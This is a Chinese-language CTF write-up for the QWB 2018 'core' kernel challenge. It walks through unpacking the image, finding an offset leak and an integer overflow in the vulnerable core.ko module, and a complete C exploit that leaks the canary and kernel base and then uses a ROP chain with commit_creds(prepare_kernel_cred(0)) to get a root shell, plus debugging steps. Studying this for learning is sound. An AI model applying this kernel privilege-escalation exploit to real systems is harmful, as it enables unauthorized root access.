强网杯2018 - core
这里主要记录一下做这个题的全流程、遇到的困难、解决方法,供后来者参考,同时也加深自己的记忆。
所以本篇没有知识,只是做题过程
参考文献
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#例题:强网杯2018-core
题解
解压
首先拿到题目第一步是把core.cpio解压出来看看里面的东西。
cpio -idm < ./core.cpio
但是报错了

如图所示,这是因为他并不是cpio格式,需要先gunzip一下
$ mv core.cpio core.cpio.gz $ gunzip core.cpio.gz
查看init
在解压出的文件夹里有init
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!n' umount /proc umount /sys poweroff -d 0 -f
可以看到有insmod /core.ko,那后门程序大概率就是他了。
查看程序
可以先查看ioctl函数,也就是core_ioctl。
void __fastcall core_ioctl(__int64 a1, int op, __int64 reg1) { switch ( op ) { case 0x6677889B: core_read(reg1); break; case 0x6677889C: printk(&unk_2CD); off = reg1; break; case 0x6677889A: printk(&unk_2B3); core_copy_func(reg1); break; } }
可以看到是一个菜单,对core_ioctl在ida里按x交叉引用可以找到core_fops

有什么用就算是前置知识了,自行理解,那么这里可以看到还有一个core_write,说明能直接调用write,查看write。
void __fastcall core_write(__int64 fd, __int64 data, unsigned __int64 len) { printk(&unk_215); if ( len > 0x800 || copy_from_user(&name, data, len) ) printk(&unk_230); }
发现是一个写入到name的操作。
继续看ioctl
void __fastcall core_read(__int64 reg1) { char *kk; // rdi __int64 n16; // rcx char str[64]; // [rsp+0h] [rbp-50h] BYREF unsigned __int64 v5; // [rsp+40h] [rbp-10h] v5 = __readgsqword(0x28u); printk(&unk_25B); printk(&unk_275); kk = str; for ( n16 = 16; n16; --n16 ) { *(_DWORD *)kk = 0; kk += 4; } strcpy(str, "Welcome to the QWB CTF challenge.n"); if ( copy_to_user(reg1, &str[off], 0x40) ) __asm { swapgs } }
这里off可控,那么可以进行对canary和内核地址的泄露。
void __fastcall core_copy_func(__int64 reg1) { _QWORD buf[10]; // [rsp+0h] [rbp-50h] BYREF buf[8] = __readgsqword(0x28u); printk(&unk_215); if ( reg1 > 0x3F ) printk(&unk_2A1); else qmemcpy(buf, &name, (unsigned __int16)reg1); }
这里有整型溢出,然后可以进行ROP
那么思路就是先泄露canary,然后rop提权。
撰写脚本
内核题目用c语言写脚本
这里直接给出脚本,之后会一一解释
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void spawn_shell() { if(!getuid()){ system("/bin/sh"); } else{ puts("[*]spawn shell error!"); } exit(0); } // 保存用户态 size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); } int main(){ save_status(); int sh = open("/proc/core",2); if(sh < 0){ printf("文件打开错误!n"); exit(0); } printf("文件打开成功!n"); char buf[0x50]; ioctl(sh, 0x6677889C, 0x40); ioctl(sh, 0x6677889B, buf); size_t canary = ((size_t*) buf)[0]; size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1; printf("canary : %lxn",canary); printf("kernel_base : %lxn",kernel_base); size_t commit_creds = kernel_base + 0x9C8E0; size_t prepare_kernel_cred = kernel_base + 0x9CCE0; size_t pop_rdi = kernel_base + 0x00b2f; size_t pop_rdx = kernel_base + 0xa0f49; size_t pop_rcx = kernel_base + 0x21e53; size_t MOV_RDI_RAX_CALL_RDX = kernel_base + 0x1aa6a; size_t swapgs_popfq_ret = kernel_base + 0xa012da; size_t iretq_ret = kernel_base + 0x50ac2; size_t rop[0x100]; int i = 0; for (i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = pop_rcx; rop[i++] = MOV_RDI_RAX_CALL_RDX; rop[i++] = commit_creds; rop[i++] = swapgs_popfq_ret; rop[i++] = 0; rop[i++] = iretq_ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; // cs rop[i++] = user_rflags; // rflags rop[i++] = user_sp + 8; // rsp rop[i++] = user_ss; // ss printf("rop ok!n"); write(sh, rop, 0x800); printf("write ok!n"); ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100)); printf("copy ok!n"); return 0; }
编译使用静态编译
gcc ./exp.c -o exp -static -masm=intel
打包运行
如何把exp塞进内核运行环境呢?
和init的同目录下存在gen_cpio.sh的文件,这个就是用来打包的。
./gen_cpio.sh ../core.cpio
运行则是直接运行start.sh文件即可。
调试
怎么调试呢?
这里需要先把init中setsid /bin/cttyhack setuidgid 1000 /bin/sh变为setsid /bin/cttyhack setuidgid 0 /bin/sh咱门需要高权限来调试。
在start.sh中加入-s参数。
之后在运行环境中执行
cat /sys/module/core/sections/.text
便可以获得core.ko的test段地址,那么使用如下sh脚本
gdb -ex "add-symbol-file $1 $2" -ex "target remote localhost:1234" -ex "set debug kernel" -ex "b* core_copy_func+0x3b" -ex "c"
使用只需要 ./gdb.sh ./core.ko [cat的值]即可启动pwngdb
我的pwngdb不能ni和si,所以只能一点一点打断点调试
exp详解
到这里大概就可以自己做了,可以先试着自己调试。
接下来是exp的详解
save_status(); // 保存用户态 size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has been saved."); }
注释也写了,是用来保存用户态数据的,因为在rop执行完返回到用户态需要用到这些参数。
int sh = open("/proc/core",2); if(sh < 0){ printf("文件打开错误!n"); exit(0); } printf("文件打开成功!n");
对于/proc/core,为什么在proc和为什么打开它,这里只需把https://arttnba3.cn/2021/02/21/OS-0X00-LINUX-KERNEL-PART-I/ 看完自会理解。
char buf[0x50]; ioctl(sh, 0x6677889C, 0x40); ioctl(sh, 0x6677889B, buf); size_t canary = ((size_t*) buf)[0]; size_t kernel_base = ((size_t*) buf)[4] - 0x1dd6d1; printf("canary : %lxn",canary); printf("kernel_base : %lxn",kernel_base);
泄露canary和内核基地址,这里主要看0x1dd6d1偏移的得来。
使用程序输出后可以使用cat /proc/kallsyms | grep " _text| startup_64| startup_32"来查看内核地址。
之后相减即可得到偏移。
size_t commit_creds = kernel_base + 0x9C8E0; size_t prepare_kernel_cred = kernel_base + 0x9CCE0; size_t pop_rdi = kernel_base + 0x00b2f; size_t pop_rdx = kernel_base + 0xa0f49; size_t pop_rcx = kernel_base + 0x21e53; size_t MOV_RDI_RAX_CALL_RDX = kernel_base + 0x1aa6a; size_t swapgs_popfq_ret = kernel_base + 0xa012da; size_t iretq_ret = kernel_base + 0x50ac2; size_t rop[0x100]; int i = 0; for (i = 0; i < 10; i++) { rop[i] = canary; } rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rdx; rop[i++] = pop_rcx; rop[i++] = MOV_RDI_RAX_CALL_RDX; rop[i++] = commit_creds; rop[i++] = swapgs_popfq_ret; rop[i++] = 0; rop[i++] = iretq_ret; rop[i++] = (size_t)spawn_shell; // rip rop[i++] = user_cs; // cs rop[i++] = user_rflags; // rflags rop[i++] = user_sp + 8; // rsp rop[i++] = user_ss; // ss printf("rop ok!n"); write(sh, rop, 0x800); printf("write ok!n"); ioctl(sh, 0x6677889A, 0xffffffffffff0000 | (0x100)); printf("copy ok!n");
栈溢出打ROP,执行commit_creds(prepare_kernel_cred(NULL)),片段的偏移可以查看vmlinux,函数直接放到IDA中查看。
完结
但这里就算是完事了,总的来说刚开始跟用户态rop还是大致上一样的。